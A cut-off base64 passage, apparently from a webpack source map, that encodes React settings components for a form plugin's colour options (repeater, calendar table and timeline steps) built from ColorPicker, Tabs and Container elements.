cdFx0PlxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlcGVhdGVyLWljb24tZm9jdXNgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM4ODg4ODhcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHQ8L0NvbnRhaW5lcj5cblx0XHRcdFx0XHQ8L1RhYnM+XG5cdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTGluaycgKSB9XG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8VGFic1xuXHRcdFx0XHRcdFx0ZGVmYXVsdD1cImRlZmF1bHRcIlxuXHRcdFx0XHRcdFx0ZXh0cmFDbGFzcz1cInN1aS10YWJzLWZsdXNoZWRcIlxuXHRcdFx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRcdFx0dmFsdWU9XCJkZWZhdWx0XCJcblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEZWZhdWx0JyApIH1cblx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RleHQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlcGVhdGVyLWxpbmtgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxN0E4RTNcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdFx0XHR2YWx1ZT1cImhvdmVyXCJcblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUZXh0IGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXBlYXRlci1saW5rLWhvdmVyYH1cblx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRcdFx0dmFsdWU9XCJmb2N1c1wiXG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9jdXMnICkgfVxuXHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVwZWF0ZXItbGluay1mb2N1c2B9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE3QThFM1wiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHRcdDwvVGFicz5cblx0XHRcdFx0PC9BY2NvcmRpb24+XG5cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcmVwZWF0ZXIuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5pbXBvcnQgVGFicyBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3RhYnMnO1xuaW1wb3J0IENvbnRhaW5lciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIENhbGVuZGFyQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8VGFic1xuXHRcdFx0XHRkZWZhdWx0PVwiZGVmYXVsdFwiXG5cdFx0XHRcdHR5cGU9XCJ0YWJzXCJcblx0XHRcdFx0ZXh0cmFDbGFzcz1cInN1aS10YWJzLWZsdXNoZWRcIlxuXHRcdFx0PlxuXG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0RlZmF1bHQnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZGVmYXVsdFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGhlYWQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZHdlZWtgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzMzMzMzM1wiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgYm9yZGVyJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1ib3JkZXItc3RhdGljYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0U2RTZFNlwiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUYWJsZSBjZWxsIEJHJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWNhbGVuZGFyLWRheXMtYmFja2dyb3VuZC1zdGF0aWNgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0U2RTZFNlwiKSB9YH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGFibGUgY2VsbCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jYWxlbmRhci1kYXlzLWNvbG9yLXN0YXRpY2B9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0hvdmVyJyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImhvdmVyXCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgYm9yZGVyJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1ib3JkZXItaG92ZXJgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjREREREREXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgQkcnICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1iYWNrZ3JvdW5kLWhvdmVyYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNERERERERcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1jb2xvci1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0FjdGl2ZScgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJhY3RpdmVcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdmbGF0JyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGFibGUgY2VsbCBib3JkZXInICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jYWxlbmRhci1kYXlzLWJvcmRlci1hY3RpdmVgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgQkcnICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1iYWNrZ3JvdW5kLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUYWJsZSBjZWxsIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWNhbGVuZGFyLWRheXMtY29sb3ItYWN0aXZlYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGRkZGRkZcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ3VycmVudCcgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJjdXJyZW50XCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RhYmxlIGNlbGwgYm9yZGVyJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItZGF5cy1ib3JkZXItY3VycmVudGB9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxN0E4RTNcIikgfWB9XG5cdFx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGFibGUgY2VsbCBCRycgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jYWxlbmRhci1kYXlzLWJhY2tncm91bmQtY3VycmVudGB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjQzhERUU3XCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUYWJsZSBjZWxsIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWNhbGVuZGFyLWRheXMtY29sb3ItY3VycmVudGB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHQ8L1RhYnM+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycy9jYWxlbmRhci10YWJsZS5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcbmltcG9ydCBUYWJzIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvdGFicyc7XG5pbXBvcnQgQ29udGFpbmVyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvY29udGFpbmVyJztcbmltcG9ydCBTZXR0aW5nc1JvdyBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3NldHRpbmdzLXJvdyc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFN0ZXBzQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8VGFic1xuXHRcdFx0XHRkZWZhdWx0PVwiYm9yZGVyXCJcblx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRleHRyYUNsYXNzPVwic3VpLXRhYnMtZmx1c2hlZFwiXG5cdFx0XHQ+XG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlcicgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJib3JkZXJcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEZWZhdWx0JyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXRpbWVsaW5lLWJvcmRlcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0eyAoXG5cdFx0XHRcdFx0XHR0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdib2xkJyAmJlxuXHRcdFx0XHRcdFx0dGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnXG5cdFx0XHRcdFx0KSAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ3VycmVudCcgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXRpbWVsaW5lLWJvcmRlci1jdXJyZW50YH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzE3QThFM1wiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdMYWJlbCcgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJsYWJlbFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0RlZmF1bHQnICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9dGltZWxpbmUtdGV4dGB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdDdXJyZW50JyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXRpbWVsaW5lLXRleHQtY3VycmVudGB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEb3QnICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiZG90XCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxTZXR0aW5nc1Jvdz5cblxuXHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktZm9ybS1maWVsZFwiPlxuXHRcdFx0XHRcdFx0XHQ8bGFiZWwgY2xhc3NOYW1lPVwic3VpLXNldHRpbmdzLWxhYmVsIHN1aS1kYXJrXCI+eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdFx0J0RlZmF1bHQgc3RhdGUgY29sb3JzJ1xuXHRcdFx0XHRcdFx0XHQpIH08L2xhYmVsPlxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXInICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXRpbWVsaW5lLWRvdC1ib3JkZXJgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9dGltZWxpbmUtZG90LWJhY2tncm91bmRgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiA9PT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUGFnZSBudW1iZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXRpbWVsaW5lLWRvdC1jb2xvcmB9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0ZGRkZGRlwiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdDwvU2V0dGluZ3NSb3c+XG5cblx0XHRcdFx0XHQ8U2V0dGluZ3NSb3c+XG5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWZvcm0tZmllbGRcIj5cblx0XHRcdFx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT1cInN1aS1zZXR0aW5ncy1sYWJlbCBzdWktZGFya1wiPnsgdHJhbnNsYXRlKFxuXHRcdFx0XHRcdFx0XHRcdCdDdXJyZW50IHN0YXRlIGNvbG9ycydcblx0XHRcdFx0XHRcdFx0KSB9PC9sYWJlbD5cblx0XHRcdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm9yZGVyJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH10aW1lbGluZS1kb3QtYm9yZGVyLWN1cnJlbnRgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1b